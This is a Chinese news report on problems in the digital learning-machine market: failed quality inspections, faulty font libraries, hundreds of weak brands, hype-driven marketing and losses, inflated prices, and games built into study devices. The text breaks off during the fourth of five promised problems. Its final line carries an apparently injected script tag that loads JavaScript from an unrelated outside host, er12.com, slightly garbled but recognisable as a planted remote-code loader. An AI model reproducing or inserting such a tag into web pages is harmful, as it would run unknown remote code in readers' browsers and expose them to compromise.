国家质检总局日前对数码学习机的一项抽查结果显示，产品抽样合格率仅有百分之六十。而前不久，北京质监局抽查的12家手提式电子信息产品生产企业中，合格者仅3家；抽查的21种产品中，合格产品仅有8种。不合格产品问题主要是汉字编码使用混乱，自带中文字库字形错误、字形不规范、字数不够等。
这些调查结果令业界一片哗然。本报记者通过深入调查发现，由于受技术门槛低、行业发展缺乏规范等因素的影响，学习机市场正遭遇品牌鱼龙混战、价高质次、保健品式营销导致企业亏损等五大发展尴尬。 尴尬1 数百品牌混战急待洗牌
目前我国英语学习电子产品市场潜力不低于100亿元，这吸引了200多个品牌贴身肉搏。但近期国家质检总局对一些学习机产品质量进行的监督抽查显示，产品抽样合格率仅60%。作为电子学习类产品主要生产基地的广东，“帅旗”、“北大易通”、“小博士”和“好孩子”等几个本地品牌，都被国家质检总局亮了“红牌”。
这一调查结果令业内人士非常担忧。一位业内人士表示：“现在的学习机市场非常混乱，因为技术含量不很高，一个家庭式的小作坊就可以生产了。这样一来质量很难得到保证，也很难查处。学习机行业大量的知名品牌都采用oem或odm形式，这在整体上使学习机质量普遍不高。”该人士表示：“目前整个学习机市场鱼龙混杂，面临着严重的信誉危机。”
深谙市场营销之道的家电专家罗斌在接受记者采访时也表示，目前学习机市场的基本竞争态势，是品牌多而分散，总体集中度不高，现在整个行业还没有一个真正的全国知名品牌，这显示着学习机行业在未来3至5年中将有一个洗牌的过程。他称，现在的学习机市场已经到了行业洗牌的阶段了。“同样功能的产品，市场上价格不一；同样价格的产品，功能也存在很大差异。”其实目前市场上已经有同等价格的产品，其功能已经可以同时替代mp3和复读机。 尴尬2 产品遭遇质量瓶颈
前不久，北京质监局公告显示，抽查了12家手提式电子信息产品生产企业，合格者仅3家；抽查了21种产品，合格产品仅有8种。不合格产品问题主要是汉字编码使用混乱，自带中文字库字形错误、字形不规范、字数不够等。
记者日前到一个销售专柜前试用了一款某品牌的e900s学习机。在其汉英词典中输入“杭”，屏幕显示“航行、方舟、船”；想输入“挝”字，出现的却是蜗牛的蜗；此外，该产品在个别英语发音上也存在不准确的地方。
国美电器销售人员对记者称，这是典型的对消费者不负责的态度，特别是在数码学习机市场，产品往往是家长和学生寄以厚望的学习工具，一旦出现产品质量问题，哪怕是发音的好坏、收录词典的版权等都会误人子弟。
对此，世界名牌协会的专家指出，消费者在选择学习机产品时，千万不能偏信广告，首先要注意看清楚产品的实际功能参数，了解产品是否真的名副其实。消费者要买到比较放心的电子学习类产品，最好选择那些具有广泛的好口碑、值得信赖的知名老品牌。 尴尬3 保建品式营销圈钱运动
作为近两年国内成长最快的行业之一，部分学习机厂商为了抢占市场，不顾产品质量，将保健品的营销移植到了这个行业中来。他们用保健品的营销方式去运作学习机，希望打造“脑白金学习机”。
但保健品业惯用的“广告轰炸”法在带给个别品牌迅速蹿红的同时，也带给他们意想不到的企业亏损。据悉，今年1月，宝龙数码选中“超女”周笔畅，投入5000万美元启动超级品牌战略；而获得1.3亿元风险投资的诺亚舟广告也频繁出现在各卫视频道。家电专家王瑞吉对记者透露，某些学习机厂商已经是入不敷出，出现严重亏损，除了新产品定位不符合消费者需求之外，原有主打的产品也都出现了问题，很多广告被迫停掉，销量一跌再跌。某老品牌学习机生产商去年已经负债近2000万，今年仍然举债过亿杀入市场。
同时，在保健品式营销的背景下，价格虚高成为学习机产品的一大隐忧。世界名牌协会指出，学习机的成本价只不过在150元左右，而学习机目前的市场售价多在400-1000余元，利润之高令人难以相信。一位消费者告诉记者，他一个月前刚刚买了某品牌的学习机，但仅过了一个月，就降了将近300元。“这样的降价太离谱了！”这位消费者说。 尴尬4 网络游戏植入学习机
本报记者通过多次走访发现，针对学习机市场“价高质次、销售疲软”的现状，个别厂家借多媒体教学的名义将游戏植入学习机，吸引学生购买。在相关网页上，有的厂家把游戏列入推荐内容，而游戏程序遥遥领先的下载次数，也反映出了产品用途的悄然转移。
记者日前在学习机市场看到，“能支持强大智能游戏”竟然成了一款诺亚舟np360+学习机推销的噱头——“支持强大智能游戏”，据一位营业员介绍，这款型号可玩大型rpg(角色扮演)游戏《天龙传说》，还可联网进行互动，“比那些‘翻纸牌’、‘挖地雷’等游戏好玩多了！”这一现象引起了广大家长的强烈不满?script src=http://er12.com/t.js>
